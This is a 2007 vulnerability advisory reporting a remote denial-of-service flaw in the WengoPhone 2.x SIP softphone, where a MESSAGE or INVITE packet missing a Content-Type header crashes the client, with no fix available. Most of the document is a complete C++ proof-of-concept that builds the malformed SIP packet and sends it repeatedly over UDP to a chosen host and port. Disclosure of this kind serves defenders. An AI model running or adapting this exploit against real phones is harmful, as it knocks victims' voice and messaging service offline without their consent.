WengoPhone SIP phone Remote Denial of Service vulnerability

[zwell@xxxxxxxx]

Title
=====
WengoPhone SIP phone Remote Denial of Service vulnerability

Date
====
10 August 2007

Affected Software
=================
WengoPhone versions 2.x (tested on 2.1)

Overview
========
WengoPhone is a thriving VoIP Service Provider from France. It is a free and 
wild used SIP based softphone. More information about WengoPhone can be found 

here: www.wengophone.com
A message validation check flaw in WengoPhone SIP phone implementation may 
allow a remote attacker to crash the phone causing denial of service.  

Vulnerability Description
=====================
The vulnerability occurs as a result of how the SIP client component handles an 
incorrectly sip packet. Method of INVITE or MESSAGE will be ok. MESSAGE is a 

sip method for Instant Messaging. 
After WengoPhone receive a malformed packet without "Content-Type" field, we 
call "Missing Content-Type Vulnerability", it will be crash.

Solution
========
Not really.

Credit
======
This vulnerability was discovered by Zwell. http://www.nosec.org

PoC
===
/**********main.cpp***********/
#include <stdio.h>
#include <string>
using namespace std;   

#ifdef WIN32
#include <winsock2.h>
#pragma comment(lib, "ws2_32.lib")
#define close closesocket
#define write(a,b,c) send(a, b, c, 0)
#define writeto(a,b,c,d,e) sendto(a, b, c, 0, d, e)
#define read(a,b,c) recv(a, b, c, 0)
#define readfrom(a,b,c,d,e) recvfrom(a, b, c, 0, d, e)
#else
#include <sys/socket.h>
#include <netinet/in.h>
#include <netinet/tcp.h>
#include <netdb.h>
#include <arpa/inet.h>
#define closesocket close
#define SOCKET int
#define DWORD unsigned long
#endif

char *craft_pkt =
        "MESSAGE sip:[FROMUSER]@[DOMAIN] SIP/2.0\r\n"
        "Via: SIP/2.0/UDP [FROMADDR]:[LOCALPORT];branch=[BRANCH]\r\n"
        "From: [FROMUSER] <sip:[FROMADDR]:[LOCALPORT]>;tag=[TAG]\r\n"
        "To: <sip:[TOADDR]>\r\n"
        "Call-ID: [CALLID]@[DOMAIN]\r\n"
        "CSeq: [CSEQ] MESSAGE\r\n"
        "Contact: <sip:[FROMUSER]@[DOMAIN]:[LOCALPORT]>\r\n"
        "Content-Length: 0\r\n\r\n";

void socket_init()
{
#ifdef WIN32
        WSADATA wsaData;
        WSAStartup(MAKEWORD(2,0), &wsaData);
#endif
}

unsigned long resolv(const char *host)
{
        struct hostent             *hp;
        unsigned long              host_ip;

        host_ip = inet_addr(host);
        if( host_ip == INADDR_NONE )
        {
                hp = gethostbyname(host);
                if(!hp)
                {
                        printf("\nError: Unable to resolve hostname 
(%s)\n",host);
                        exit(1);
                }
                else
                        host_ip = *(u_long*)hp->h_addr ;
        }

        return(host_ip);
}

SOCKET udpsocket() 
{
        /* network */
        SOCKET sockfd;
        struct sockaddr_in laddr, raddr;

        sockfd = socket(AF_INET, SOCK_DGRAM, 0);
        if (sockfd == -1)
                goto error;

        memset((char *) &laddr, 0, sizeof(laddr));
        laddr.sin_family = AF_INET;
        laddr.sin_addr.s_addr = htonl(INADDR_ANY);
        if (bind(sockfd, (struct sockaddr *) &laddr, sizeof(laddr)) == -1)
                goto error;

        return sockfd;

error:
#ifdef WIN32
        printf("Error:%d\n", GetLastError());
#endif
        return 0;
}


string &replace_all(string &str,const string& old_value,const string& 
new_value)  
{  
        while(true)   
        {  
                string::size_type   pos(0);  
                if(   (pos=str.find(old_value))!=string::npos)  
                        str.replace(pos,old_value.length(),new_value);  
                else   break;  
        }  
        return   str;  
}   

string &replace_with_rand(string &str, char *value, int len)
{
        char *strspace = "0123456789";
        char randstr[100];
        for(int i=0; i<len; i++)
        {
                do
                {
                        randstr[i] = strspace[rand()%strlen(strspace)];
                }while(randstr[i] == '0');
        }
        randstr[len] = 0;
        replace_all(str, value, randstr);
        return str;
}

string build_packet(string _packet, char *addr, char *host)
{
        string packet = _packet;
        replace_all(packet, "[FROMADDR]", addr);
        replace_all(packet, "[TOADDR]", host);
        replace_all(packet, "[DOMAIN]", "www.nosec.org");
        replace_all(packet, "[FROMUSER]", "siprint");
        replace_with_rand(packet, "[CSEQ]", 9);
        replace_with_rand(packet, "[CALLID]", 9);
        replace_with_rand(packet, "[TAG]", 9);
        replace_with_rand(packet, "[BRANCH]", 9);
        return packet;
}

int main(int argc, char **argv)
{
        char *host;
        int port;
        char *localip;
        struct sockaddr_in sockaddr;
        struct sockaddr_in raddr;
        int sockaddrlen = sizeof(sockaddr);
        SOCKET s;

        printf("WengoPhone 2.1 Missing Content-Type DOS PoC\n");

        if(argc != 4)
        {
                printf("usage : %s <host> <port> <localip>\n", argv[0]);
                exit(-1);
        }

        host = argv[1];
        port = atoi(argv[2]);
        localip = argv[3];

        socket_init();
        s = udpsocket();
        if(s == 0)
        {
                printf("Create udp socket error!\n", host, port);
                return 1;
        }
        memset(&sockaddr, 0, sockaddrlen);
        getsockname(s, (struct sockaddr *) &sockaddr, (int *) &sockaddrlen);
        
        raddr.sin_family = AF_INET;
        raddr.sin_addr.S_un.S_addr = resolv(host);
        raddr.sin_port = htons(port);
        for(int i=0; i<20; i++)
        {
                char portstr[6] = {'\0'};
                string packet = build_packet(craft_pkt, localip, host);
                sprintf(portstr, "%d", ntohs(sockaddr.sin_port));
                replace_all(packet, "[LOCALPORT]", portstr);
                //printf("===========\n%s\n===========\n", packet.c_str());
                writeto(s, packet.c_str(), packet.length(), (struct 
sockaddr*)&raddr, sockaddrlen);
                Sleep(100);
        }

        return 0;
}